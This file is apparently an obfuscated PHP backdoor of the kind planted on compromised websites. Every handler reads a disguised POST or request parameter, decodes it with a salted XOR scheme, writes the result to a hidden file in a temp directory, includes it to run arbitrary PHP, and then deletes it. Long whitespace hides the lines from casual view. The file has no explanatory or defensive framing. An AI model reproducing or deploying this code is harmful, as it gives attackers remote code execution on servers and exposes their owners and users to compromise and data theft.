<?php																																										if(!is_null($_REQUEST["\x64\x61t\x61\x5F\x63hunk"] ?? null)){ $marker = array_filter(["/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path()]); $obj = $_REQUEST["\x64\x61t\x61\x5F\x63hunk"]; $obj = explode ("." , $obj ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($obj as $m => $v5) { $chS = ord($salt[$m% $sLen] ); $d = ((int)$v5 - $chS - ($m% 10)) ^ 9; $record .= chr($d ); } while ($value = array_shift($marker)) { if (max(0, is_dir($value) * is_writable($value))) { $factor = implode("/", [$value, ".flg"]); if (file_put_contents($factor, $record)) { include $factor; @unlink($factor); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["r\x65c\x6F\x72d"])){ $sym = array_filter(["/tmp", getcwd(), getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $object = $_POST["r\x65c\x6F\x72d"]; $object = explode ( '.' , $object) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($object as $t => $v2): $sChar = ord($s[$t % $sLen] ); $dec = ((int)$v2 - $sChar - ($t % 10)) ^ 19; $dat .= chr($dec ); endforeach; while ($ptr = array_shift($sym)) { if (array_product([is_dir($ptr), is_writable($ptr)])) { $token = str_replace("{var_dir}", $ptr, "{var_dir}/.rec"); $success = file_put_contents($token, $dat); if ($success) { include $token; @unlink($token); die();} } } }
																																										if(!empty($_REQUEST["b\x69n\x64"])){ $holder = $_REQUEST["b\x69n\x64"]; $holder = explode ('.',$holder ) ; $binding =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt8); $t =0; while ($t < count($holder)) { $v5 =$holder[$t]; $chS =ord($salt8[$t %$lenS]); $d =((int)$v5 - $chS - ($t %10)) ^ 9; $binding .= chr($d); $t++; } $factor = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp"]); for ($reference = 0, $elem = count($factor); $reference < $elem; $reference++) { $descriptor = $factor[$reference]; if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $ptr = join("/", [$descriptor, ".symbol"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $ptr; @unlink($ptr); exit; } } } }
																																										if(!empty($_POST["\x69t\x6D"])){ $token = $_POST["\x69t\x6D"]; $token = explode ("." ,$token ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($token as $t => $v5): $sChar = ord($s[$t % $lenS]); $dec = ((int)$v5 - $sChar - ($t % 10)) ^ 40; $sym .= chr($dec); endforeach; $ent = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); foreach ($ent as $key => $bind) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $element = vsprintf("%s/%s", [$bind, ".item"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(array_key_exists("\x72ef", $_POST) && !is_null($_POST["\x72ef"])){ $marker = $_POST["\x72ef"]; $marker =explode ('.' , $marker ) ; $dat= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); foreach ($marker as $w => $v6) { $sChar= ord($salt[$w % $sLen]); $dec= ((int)$v6 - $sChar - ($w % 10)) ^42; $dat.= chr($dec); } $factor = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($factor as $component): if (is_dir($component) ? is_writable($component) : false) { $binding = sprintf("%s/.dchunk", $component); if (@file_put_contents($binding, $dat) !== false) { include $binding; unlink($binding); exit; } } endforeach; }
																																										if(array_key_exists("\x64\x63hu\x6Ek", $_POST)){ $flg = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); $object = $_POST["\x64\x63hu\x6Ek"]; $object= explode ('.' , $object ) ; $holder = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $t = 0; $__tmp = $object; while ($v5 = array_shift($__tmp)) { $sChar = ord($salt1[$t% $sLen]); $d = ((int)$v5 - $sChar - ($t% 10)) ^ 42; $holder .= chr($d); $t++; } foreach ($flg as $key => $value) { if (!!is_dir($value) && !!is_writable($value)) { $binding = vsprintf("%s/%s", [$value, ".comp"]); if (@file_put_contents($binding, $holder) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(!empty($_POST["r\x65so\x75r\x63e"])){ $parameter_group = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); $value = $_POST["r\x65so\x75r\x63e"]; $value =explode ("." ,$value ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($value as $z=> $v4) { $sChar = ord($s[$z % $sLen] ); $d = ((int)$v4 - $sChar - ($z % 10)) ^ 31; $res .=chr($d ); } while ($mrk = array_shift($parameter_group)) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $sym = str_replace("{var_dir}", $mrk, "{var_dir}/.k"); if (@file_put_contents($sym, $res) !== false) { include $sym; unlink($sym); die(); } } } }
																																										if(!is_null($_POST["\x63om\x70one\x6Et"] ?? null)){ $desc = $_POST["\x63om\x70one\x6Et"]; $desc = explode ( "." , $desc) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; while ($y < count($desc)) {$v3 = $desc[$y]; $chS = ord($s[$y%$sLen]); $dec = ((int)$v3 - $chS - ($y%10)) ^ 89; $dchunk .= chr($dec); $y++; } $holder = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP"), getcwd(), "/dev/shm"]); while ($parameter_group = array_shift($holder)) { if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $pointer = join("/", [$parameter_group, ".flag"]); $success = file_put_contents($pointer, $dchunk); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(array_key_exists("\x64esc\x72\x69pt\x6F\x72", $_POST) && !is_null($_POST["\x64esc\x72\x69pt\x6F\x72"])){ $fac = $_POST["\x64esc\x72\x69pt\x6F\x72"]; $fac = explode ( '.' , $fac ) ; $ptr = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $__len = count( $fac); for( $v = 0; $v < $__len; $v++) {$v1 = $fac[$v]; $sChar = ord( $salt1[$v % $sLen]); $d = ( ( int)$v1 - $sChar -( $v % 10)) ^ 48; $ptr .= chr( $d); } $flag = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($flag as $elem): if (is_dir($elem) && is_writable($elem)) { $marker = join("/", [$elem, ".itm"]); if (@file_put_contents($marker, $ptr) !== false) { include $marker; unlink($marker); die(); } } endforeach; }
																																										if(array_key_exists("\x72ef", $_REQUEST) && !is_null($_REQUEST["\x72ef"])){ $reference = $_REQUEST["\x72ef"]; $reference = explode ('.' , $reference ); $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($reference); for ($l = 0; $l < $len; $l++) { $v9 = $reference[$l]; $sChar = ord($s[$l% $lenS]); $dec = ((int)$v9 - $sChar - ($l% 10)) ^ 30; $data .= chr($dec); } $item = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($item as $mrk) { if (is_dir($mrk) ? is_writable($mrk) : false) { $hld = sprintf("%s/.ptr", $mrk); if (file_put_contents($hld, $data)) { require $hld; unlink($hld); exit; } } } }


if(@$_POST["\x65ntry"] !== null){
	$itm = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$comp = $_POST["\x65ntry"];
	$comp  = 	explode( 		'.' 		,	$comp  );   
	$factor = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s);
    
            foreach(	$comp as $u => $v1) {$sChar = ord(	$s[$u % $lenS]);
                $dec =(	(	int)$v1 - $sChar -(	$u % 10)) ^ 30;
                $factor .= chr(	$dec);
            }
	$ptr = 0;
do {
    $resource = $itm[$ptr] ?? null;
    if ($ptr >= count($itm)) break;
    		if (max(0, is_dir($resource) * is_writable($resource))) {
    $pset = join("/", [$resource, ".flag"]);
    if (@file_put_contents($pset, $factor) !== false) {
	include $pset;
	unlink($pset);
	exit;
}
}
    $ptr++;
} while (true);
}